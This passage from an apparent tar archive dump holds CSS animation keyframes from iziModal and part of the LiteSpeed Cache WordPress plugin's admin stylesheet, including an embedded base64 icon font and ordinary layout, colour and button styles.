iziM-bounceInDown{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-1000px,0);transform:translate3d(0,-1000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@-webkit-keyframes iziM-bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,1000px,0);transform:translate3d(0,1000px,0)}}@keyframes iziM-bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,1000px,0);transform:translate3d(0,1000px,0)}}@-webkit-keyframes iziM-bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,1000px,0);transform:translate3d(0,1000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes iziM-bounceInUp{0%,60%,75%,90%,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,1000px,0);transform:translate3d(0,1000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes iziM-bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes iziM-bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-1000px,0);transform:translate3d(0,-1000px,0)}}@-webkit-keyframes iziM-fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100px,0);transform:translate3d(0,-100px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes iziM-fadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-100px,0);transform:translate3d(0,-100px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes iziM-fadeOutDown{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100px,0);transform:translate3d(0,100px,0)}}@keyframes iziM-fadeOutDown{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100px,0);transform:translate3d(0,100px,0)}}@-webkit-keyframes iziM-fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100px,0);transform:translate3d(0,100px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes iziM-fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100px,0);transform:translate3d(0,100px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes iziM-fadeOutUp{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100px,0);transform:translate3d(0,-100px,0)}}@keyframes iziM-fadeOutUp{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100px,0);transform:translate3d(0,-100px,0)}}@-webkit-keyframes iziM-fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-200px,0,0);transform:translate3d(-200px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes iziM-fadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-200px,0,0);transform:translate3d(-200px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes iziM-fadeOutLeft{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-200px,0,0);transform:translate3d(-200px,0,0)}}@keyframes iziM-fadeOutLeft{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(-200px,0,0);transform:translate3d(-200px,0,0)}}@-webkit-keyframes iziM-fadeInRight{0%{opacity:0;-webkit-transform:translate3d(200px,0,0);transform:translate3d(200px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes iziM-fadeInRight{0%{opacity:0;-webkit-transform:translate3d(200px,0,0);transform:translate3d(200px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes iziM-fadeOutRight{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(200px,0,0);transform:translate3d(200px,0,0)}}@keyframes iziM-fadeOutRight{0%{opacity:1}to{opacity:0;-webkit-transform:translate3d(200px,0,0);transform:translate3d(200px,0,0)}}@-webkit-keyframes iziM-flipInX{0%{-webkit-transform:perspective(400px) rotateX(60deg);opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-10deg)}70%{-webkit-transform:perspective(400px) rotateX(10deg)}to{-webkit-transform:perspective(400px) rotateX(0deg);opacity:1}}@keyframes iziM-flipInX{0%{transform:perspective(400px) rotateX(60deg);opacity:0}40%{transform:perspective(400px) rotateX(-10deg)}70%{transform:perspective(400px) rotateX(10deg)}to{transform:perspective(400px) rotateX(0deg);opacity:1}}@-webkit-keyframes iziM-flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,40deg);transform:perspective(400px) rotate3d(1,0,0,40deg);opacity:0}}@keyframes iziM-flipOutX{0%{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,40deg);transform:perspective(400px) rotate3d(1,0,0,40deg);opacity:0}}litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/css/litespeed.css000064400000256400151031165260021060 0ustar00@font-face {
  font-family: "litespeedfont";
  src: url(data:application/font-woff;base64,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);
	font-weight: normal;
	font-style: normal;
}

#adminmenu #toplevel_page_lscache-settings .menu-icon-generic div.wp-menu-image:before,
#adminmenu #toplevel_page_litespeed .menu-icon-generic div.wp-menu-image:before,
.litespeed-top-toolbar .ab-icon::before {
	content: '\e900';
	font-family: 'litespeedfont' !important;
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;

	/* Better Font Rendering =========== */
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#wpadminbar .litespeed-top-toolbar .ab-icon.icon_disabled::before {
	color: #D9534F;
}

*[litespeed-accesskey]:before {
	content: '[' attr(litespeed-accesskey) '] ';
}

/* =======================================
   		  UTILITIES - toggle UI
======================================= */

input[type='checkbox'].litespeed-tiny-toggle {
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;

	-webkit-tap-highlight-color: transparent;

	width: auto;
	height: auto;
	vertical-align: middle;
	position: relative;
	border: 0;
	outline: 0;
	cursor: pointer;
	margin: 0 4px;
	background: none;
	box-shadow: none;
}

input[type='checkbox'].litespeed-tiny-toggle:focus {
	box-shadow: none;
}

input[type='checkbox'].litespeed-tiny-toggle:after {
	content: '';
	font-size: 8px;
	font-weight: 400;
	line-height: 18px;
	text-indent: -14px;
	color: #ffffff;
	width: 36px;
	height: 18px;
	display: inline-block;
	background-color: #a7aaad;
	border-radius: 72px;
	box-shadow: 0 0 12px rgb(0 0 0 / 15%) inset;
}

input[type='checkbox'].litespeed-tiny-toggle:before {
	content: '';
	width: 14px;
	height: 14px;
	display: block;
	position: absolute;
	top: 2px;
	left: 2px;
	margin: 0;
	border-radius: 50%;
	background-color: #ffffff;
}

input[type='checkbox'].litespeed-tiny-toggle:checked:before {
	left: 20px;
	margin: 0;
	background-color: #ffffff;
}

input[type='checkbox'].litespeed-tiny-toggle,
input[type='checkbox'].litespeed-tiny-toggle:before,
input[type='checkbox'].litespeed-tiny-toggle:after,
input[type='checkbox'].litespeed-tiny-toggle:checked:before,
input[type='checkbox'].litespeed-tiny-toggle:checked:after {
	transition: ease 0.15s;
}

input[type='checkbox'].litespeed-tiny-toggle:checked:after {
	/*content: 'ON';*/
	background-color: #2271b1;
}

.block-editor__container input[type='checkbox'].litespeed-tiny-toggle {
	border: 0 !important;
}

.block-editor__container input[type='checkbox'].litespeed-tiny-toggle:before {
	top: 5px;
	left: 7px;
}

.block-editor__container input[type='checkbox'].litespeed-tiny-toggle:checked:before {
	left: 23px;
}

/* =======================================
   		  UTILITIES - structure
======================================= */

.litespeed_icon:before {
	/* content: "\e900";
    font-family: 'litespeedfont' !important; */
	content: '';
	background-image: url('../img/lscwp_grayscale_font-icon_22px.svg');
	/* filter: grayscale(1); */
	background-size: 22px;
	background-repeat: no-repeat;
	width: 22px;
	height: 22px;
	vertical-align: middle;
	display: inline-block;
	position: absolute;
	left: 5px;
	top: 8px;
}

.rtl .litespeed_icon:before {
	left: initial;
	right: 5px;
}

.litespeed_icon {
	padding-left: 30px !important;
	position: relative;
}

.rtl .litespeed_icon {
	padding-right: 40px;
}

.litespeed-quic-icon {
	background-image: url('../img/quic-cloud-icon-16x16.svg');
	background-repeat: no-repeat;
	width: 16px;
	height: 16px;
	vertical-align: middle;
	display: inline-block;
}

.litespeed-row {
	margin-top: 5px;
}

.litespeed-reset {
	width: initial;
}

.litespeed-inline {
	display: inline-block;
}

.litespeed-flex {
	display: flex;
}

.litespeed-flex-container {
	display: flex;
	flex-wrap: wrap;
	width: 100%;
	height: auto;
}

.litespeed-flex-align-center {
	align-items: center;
}

.litespeed-flex-container > * {
	box-sizing: border-box;
}

.litespeed-flex-container--reverse {
	flex-direction: row-reverse;
}

.litespeed-flex-container .litespeed-icon-vertical-middle {
	margin-left: 0;
}

.litespeed-row-flex {
	display: inline-flex;
}

.litespeed-flex-wrap {
	flex-wrap: wrap;
}

.litespeed-align-right {
	margin-left: auto !important;
}

.litespeed-width-1-2 {
	width: 45%;
	padding: 20px;
}

.litespeed-width-1-3 {
	width: 30%;
	padding: 25px;
}

.litespeed-width-7-10 {
	width: 65%;
	padding: 20px;
}

.litespeed-width-3-10 {
	width: 35%;
	padding: 20px;
}

@media screen and (max-width: 814px) {
	.litespeed-width-7-10 {
		width: 100%;
	}

	.litespeed-width-3-10 {
		width: 100%;
		padding: 0;
	}
}

.litespeed-hide {
	display: none !important;
}

.litespeed-right {
	float: right !important;
}

.litespeed-relative {
	position: relative;
}

.litespeed-align-center {
	margin-left: auto;
	margin-right: auto;
}

/* =======================================
   		  UTILITIES - spacing
======================================= */

.litespeed-left10 {
	margin-left: 10px !important;
}

.litespeed-left20 {
	margin-left: 20px !important;
}

.litespeed-right10 {
	margin-right: 10px !important;
}

.litespeed-right20 {
	margin-right: 20px !important;
}

.litespeed-right30 {
	margin-right: 30px !important;
}

.litespeed-right50 {
	margin-right: 50px !important;
}

.litespeed-top10 {
	margin-top: 10px !important;
}

.litespeed-top15 {
	margin-top: 15px !important;
}

.litespeed-top20 {
	margin-top: 20px !important;
}

.litespeed-top30 {
	margin-top: 30px !important;
}

.litespeed-margin-y5 {
	margin-top: 5px !important;
	margin-bottom: 5px !important;
}

.litespeed-margin-x5 {
	margin-left: 5px !important;
	margin-right: 5px !important;
}

.litespeed-wrap .litespeed-left20,
.litespeed-left20 {
	margin-left: 20px;
}

.litespeed-wrap .litespeed-bg-quic-cloud {
	background: linear-gradient(rgba(230, 242, 242, 1) 10%, rgba(250, 255, 255, 1) 30%);
}

.litespeed-left50 {
	margin-left: 50px;
}

.litespeed-padding-space {
	padding: 5px 10px;
}

.litespeed-margin-bottom10 {
	margin-bottom: 10px !important;
}

.litespeed-margin-bottom20 {
	margin-bottom: 20px !important;
}

.litespeed-margin-bottom-remove {
	margin-bottom: 0px !important;
}

.litespeed-margin-top-remove {
	margin-top: 0px !important;
}

.litespeed-margin-left-remove {
	margin-left: 0px !important;
}

.litespeed-margin-y-remove {
	margin-top: 0px !important;
	margin-bottom: 0px !important;
}

.litespeed-empty-space-xlarge {
	margin-top: 8em;
}

.litespeed-empty-space-large {
	margin-top: 6em;
}

.litespeed-empty-space-medium {
	margin-top: 3em;
}

.litespeed-empty-space-small {
	margin-top: 2em;
}

.litespeed-empty-space-tiny {
	margin-top: 1em;
}

/* =======================================
   		UTILITIES - typography
======================================= */

.litespeed-text-jumbo {
	font-size: 3em !important;
}

.litespeed-text-large {
	font-size: 0.75em !important;
}

.litespeed-text-md {
	font-size: 1.2em;
}

.litespeed-text-right {
	text-align: right;
}

.litespeed-text-center {
	text-align: center;
}

.litespeed-text-bold, .litespeed-bold {
	font-weight: 600;
}

/* =======================================
	  			COLORS
======================================= */

.litespeed-default {
	color: #a7a7a7 !important;
}

.litespeed-primary {
	color: #3366cc !important;
}

.litespeed-info {
	color: #3fbfbf !important;
}

.litespeed-success {
	color: #73b38d !important;
}

.litespeed-warning {
	color: #ff8c00 !important;
}

.litespeed-danger {
	color: #dc3545 !important;
}

a.litespeed-danger:hover,
button.litespeed-danger:hover {
	color: #a00 !important;
}

.litespeed-text-success {
	color: #34b15d;
}

.litespeed-form-action {
	color: #1a9292 !important;
}

a.litespeed-form-action:hover,
button.litespeed-form-action:hover {
	color: #36b0af !important;
}

.litespeed-bg-default {
	background-color: #a7a7a7 !important;
}

.litespeed-bg-primary {
	background-color: #3366cc !important;
}

.litespeed-bg-info {
	background-color: #d1ecf1 !important;
}

.litespeed-bg-success {
	background-color: #73b38d !important;
}

.litespeed-bg-warning {
	background-color: #ff8c00 !important;
}

.litespeed-bg-danger {
	background-color: #dc3545 !important;
}

.litespeed-bg-text-success {
	background-color: #34b15d;
}

/* =======================================
	  			LAYOUT
======================================= */

.litespeed-wrap {
	margin: 10px 20px 0 2px;
}

@media screen and (max-width: 600px) {
	.litespeed-wrap h2 .nav-tab {
		border-bottom: 1px solid #c3c4c7;
		margin: 10px 10px 0 0;
	}

	.litespeed-wrap .nav-tab-wrapper {
		margin-bottom: 15px;
	}

	.litespeed-desc a,
	.litespeed-body p > a:not(.button) {
		word-break: break-word;
	}
}

.litespeed-wrap .nav-tab {
	border-bottom-color: inherit;
	border-bottom-style: solid;
	border-bottom-width: 1px;
	margin: 11px 10px -1px 0;
}

.litespeed-wrap .nav-tab-active {
	background: #fff;
	border-bottom-color: #fff;
}

.litespeed-wrap .nav-tab:focus:not(.nav-tab-active),
.litespeed-wrap .nav-tab:hover:not(.nav-tab-active) {
	background-color: #f1f1f1;
	color: #444;
}

.litespeed-body {
	background: #fff;
	border: 1px solid #e5e5e5;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	padding: 1px 20px 20px 20px;
}

@media screen and (min-width: 681px) {
	.litespeed-header + .litespeed-body {
		border-top: none;
	}
}

.litespeed-body table {
	border-collapse: collapse;
	width: 100%;
}

.litespeed-body .litespeed-width-auto {
	width: auto;
}

/* outside stripped table */
.litespeed-description {
	color: #666;
	font-size: 13px;
	margin: 1.5rem 0;
	max-width: 960px;
}

.litespeed-desc-wrapper{
	display: inline-block;
    margin-left: 10px;
}

/* inside stripped table */
.litespeed-desc {
	font-size: 12px;
	font-weight: normal;
	color: #7a919e;
	margin: 10px 0;
	line-height: 1.7;
	/*max-width: 840px;*/
}

.litespeed-desc + .litespeed-desc {
	margin-top: -5px;
}

td > .litespeed-desc:first-child {
	margin-top: 0px;
	line-height: 2.24;
}

.litespeed-h3 {
	line-height: 18px;
	color: #264d73;
	font-size: 18px;
	font-weight: 600;
	margin: 2px 0;
}

.litespeed-div .submit {
	margin-top: 0;
}

@media screen and (min-width: 681px) {
	.litespeed-div {
		display: inline-block;
		min-width: 100px;
	}

	.litespeed-div .submit {
		margin: 5px;
		padding: 5px;
	}
}

@media screen and (max-width: 680px) {
	.litespeed-desc + .litespeed-desc.litespeed-left20 {
		margin-left: 0 !important;
	}

	.litespeed-desc .litespeed-callout.notice-warning.inline {
		word-break: break-word;
	}
}

.litespeed-h1 {
	display: inline-block;
}

h3 .litespeed-learn-more {
	font-size: 12px;
	font-weight: normal;
	color: #7a919e;
	margin-left: 30px;
}

.litespeed-wrap code {
	color: #666;
	background-color: #dde9f5;
	border-radius: 3px;
	font-size: 11px;
	font-style: normal;
}

.litespeed-wrap ul {
	margin-left: 2em;
}

.litespeed-wrap i {
	font-size: 13px;
	line-height: 16px;
}

.litespeed-wrap .litespeed-desc i {
	font-size: 12px;
}

.litespeed-wrap p {
	margin: 1em 0;
}

.litespeed-wrap p.submit {
	margin-bottom: 0;
}

.litespeed-desc p {
	margin-left: 0;
}

.litespeed-title,
.litespeed-title-short {
	font-size: 18px;
	border-bottom: 1px solid #cccccc;
	margin: 2.5em 0px 1.5em 0;
	display: table;
	padding-right: 50px;
	padding-left: 3px;
	padding-bottom: 3px;
}

.litespeed-title .button {
	margin-left: 1rem;
	margin-bottom: 5px;
	vertical-align: middle;
}

.litespeed-title .litespeed-quic-icon {
	margin-right: 6px;
}

.litespeed-title a,
.litespeed-title-short a {
	text-decoration: none;
}

.litespeed-title-short {
	padding-right: 20px;
}

.litespeed-title-section {
	margin: 2em -20px 12px -20px;
	padding: 12px 20px 12px 20px;
	border-bottom: 1px solid #eee;
	font-size: 1.2em;
	display: block;
	border-top: 1px solid #f1f1f1;
}

.litespeed-postbox .litespeed-title {
	display: flex;
	align-items: center;
}

.litespeed-title-right-icon {
	margin-left: auto;
	font-weight: normal;
}

.litespeed-list li:before {
	content: '>';
	color: #cc3d6a;
}

.litespeed-wrap a.disabled {
	cursor: not-allowed;
	opacity: 0.5;
	text-decoration: none;
	color: #72777c;
}

/* =======================================
			LAYOUT - table
======================================= */

.litespeed-table {
	font-size: 14px;
}

.litespeed-body tbody > tr > th {
	padding-left: 20px;
}

.litespeed-body tbody th {
	vertical-align: top;
	text-align: left;
	padding: 18px 10px 20px 0;
	width: 200px;
	font-weight: 600;
}

.litespeed-body td {
	padding: 15px 10px;
	line-height: 1.3;
	vertical-align: middle;
}

.litespeed-body .widefat td input + p {
	margin-top: 0.8em;
}

.litespeed-body .striped > tbody > :nth-child(even) .notice {
	background-color: #f9f9f9;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.05);
	border-top: 1px solid #e5e5e5;
	border-bottom: 1px solid #e5e5e5;
	border-right: 1px solid #e5e5e5;
}

.litespeed-body .striped > tbody > :nth-child(even) .notice:first-child {
	margin-top: 0;
}

/* small table inside */
.litespeed-body .litespeed-vary-table {
	margin-top: -5px;
	width: 250px;
	margin-bottom: 20px;
}

.litespeed-body .litespeed-vary-table td {
	width: 50%;
	padding: 5px 0px;
}

.litespeed-table-compact td,
.litespeed-table-compact th {
	padding: 0.5rem 0.75rem;
}

/* =======================================
			LAYOUT - block
======================================= */

.litespeed-block,
.litespeed-block-tiny {
	border: 1px dotted #cccccc;
	border-radius: 5px;
	display: flex;
	flex-wrap: wrap;
	padding: 0.75rem 1.25rem;
	margin-bottom: 5px;
}

.litespeed-block-tiny {
	max-width: 670px;
}

.litespeed-col {
	flex: 0 0 30%;
	padding-right: 2rem;
}

.litespeed-col:last-child,
.litespeed-col-auto:last-child {
	padding-right: 0;
}

.litespeed-col-auto {
	padding-right: 2rem;
}

.litespeed-col-br {
	flex: 0 0 100%;
	border-top: 1px dotted #cccccc;
}

.litespeed-col-inc {
	display: inline-block;
	margin-top: 16px;
	min-width: 150px;
	font-weight: bold;
}

.litespeed-block h4:first-child,
.litespeed-block .litespeed-form-label:not(.litespeed-form-label--toggle):first-child {
	margin-top: 0.5rem;
}

.litespeed-block .litespeed-callout:last-child {
	margin-bottom: 0;
}

@media screen and (max-width: 600px) {
	.litespeed-block {
		flex-direction: column;
	}

	.litespeed-block .litespeed-col {
		padding-right: 0;
	}
}

/* =======================================
			  CARDS LINKS
======================================= */

.litespeed-cards-wrapper,
.litespeed-panel-wrapper {
	display: flex;
	width: 100%;
	flex-flow: row wrap;
	justify-content: flex-start;
}

.litespeed-cards-wrapper {
	margin: -10px -15px -10px -15px;
}

.litespeed-panel {
	text-decoration: none;
	display: flex;
	justify-content: space-between;
	padding: 6px 8px 4px 5px;
	width: 322px;
	margin: 15px 5px 15px 15px;
	min-height: 75px;
	box-sizing: border-box;
	background: #f9fafc;
	transition: 0.25s;
}

.litespeed-panel:hover {
	border: 1px solid #6699cc;
	box-shadow: none;
}

.litespeed-panel-wrapper-icon {
	width: 25%;
	height: 100%;
}

[class*='litespeed-panel-icon-'] {
	background-size: contain;
	width: 60px;
	height: 60px;
	margin: 5px;
	background-repeat: no-repeat;
	display: inline-block;
}

.litespeed-panel-icon-all {
	background-image: url('../img/icons/all.svg');
}

.litespeed-panel-icon-revision {
	background-image: url('../img/icons/revision.svg');
}

.litespeed-panel-icon-orphaned_post_meta {
	background-image: url('../img/icons/revision.svg');
}

.litespeed-panel-icon-auto_draft {
	background-image: url('../img/icons/auto_draft.svg');
}

.litespeed-panel-icon-trash_post {
	background-image: url('../img/icons/trash_post.svg');
}

.litespeed-panel-icon-spam_comment {
	background-image: url('../img/icons/spam_comment.svg');
}

.litespeed-panel-icon-trash_comment {
	background-image: url('../img/icons/trash_comment.svg');
}

.litespeed-panel-icon-trackback-pingback {
	background-image: url('../img/icons/trackback-pingback.svg');
}

.litespeed-panel-icon-expired_transient {
	background-image: url('../img/icons/expired_transient.svg');
}

.litespeed-panel-icon-all_transients {
	background-image: url('../img/icons/all_transients.svg');
}

.litespeed-panel-icon-optimize_tables {
	background-image: url('../img/icons/optimize_tables.svg');
}

.litespeed-panel-icon-purge-front {
	background-image: url('../img/icons/purge-front.svg');
}

.litespeed-panel-icon-purge-pages {
	background-image: url('../img/icons/purge-pages.svg');
}

.litespeed-panel-icon-purge-cssjs {
	background-image: url('../img/icons/purge-cssjs.svg');
}

.litespeed-panel-icon-purge-object {
	background-image: url('../img/icons/purge-object.svg');
}

.litespeed-panel-icon-purge-opcache {
	background-image: url('../img/icons/purge-opcache.svg');
}

.litespeed-panel-icon-purge-all {
	background-image: url('../img/icons/purge-all.svg');
}

.litespeed-panel-icon-empty-cache {
	background-image: url('../img/icons/empty-cache.svg');
}

.litespeed-panel-icon-purge-403 {
	background-image: url('../img/icons/purge-403.svg');
}

.litespeed-panel-icon-purge-404 {
	background-image: url('../img/icons/purge-404.svg');
}

.litespeed-panel-icon-purge-500 {
	background-image: url('../img/icons/purge-500.svg');
}

.litespeed-panel-top-right-icon-cross {
	background-image: url('../img/icons/cross_icon.svg');
}

.litespeed-panel-top-right-icon-tick {
	background-image: url('../img/icons/success_icon.svg');
}

.litespeed-panel-content {
	width: 75%;
	height: 100%;
	margin-top: 7px;
}

.litespeed-panel-para {
	color: #264d73;
	font-size: 12px;
	line-height: 1.45;
}

.litespeed-panel .litespeed-h3 {
	font-size: 14px;
}

.litespeed-panel-counter {
	color: #3abfbf;
}

.litespeed-panel-counter-red {
	color: #cc3d6a;
}

.litespeed-panel-wrapper-top-right {
	width: 10%;
	height: 100%;
	text-align: right;
}

.litespeed-panel-top-right-icon-tick,
.litespeed-panel-top-right-icon-cross {
	background-size: contain;
	width: 20px;
	height: 20px;
	background-repeat: no-repeat;
	display: inline-block;
}

/* =======================================
	 BUTTONS
======================================= */

/* .litespeed-wrap .button{
	background:#fff;
} */

.litespeed-wrap .button-link {
	height: auto;
	line-height: inherit;
	font-size: inherit;
	box-shadow: none;
}

.litespeed-wrap .button-link:hover,
.litespeed-wrap .button-link:focus {
	box-shadow: none;
	background: none;
}

.litespeed .litespeed-btn-danger-bg,
.litespeed-wrap .litespeed-btn-danger-bg,
.litespeed-btn-danger-bg {
	background: #dc3545;
	color: #fff;
	border: 1px solid #cc3d6a;
	box-shadow: 0 1px 0 rgba(177, 93, 93, 0.5);
}

.litespeed .litespeed-btn-danger,
.litespeed-wrap .litespeed-btn-danger,
.litespeed-btn-danger {
	background: #fff;
	color: #cc3d6a;
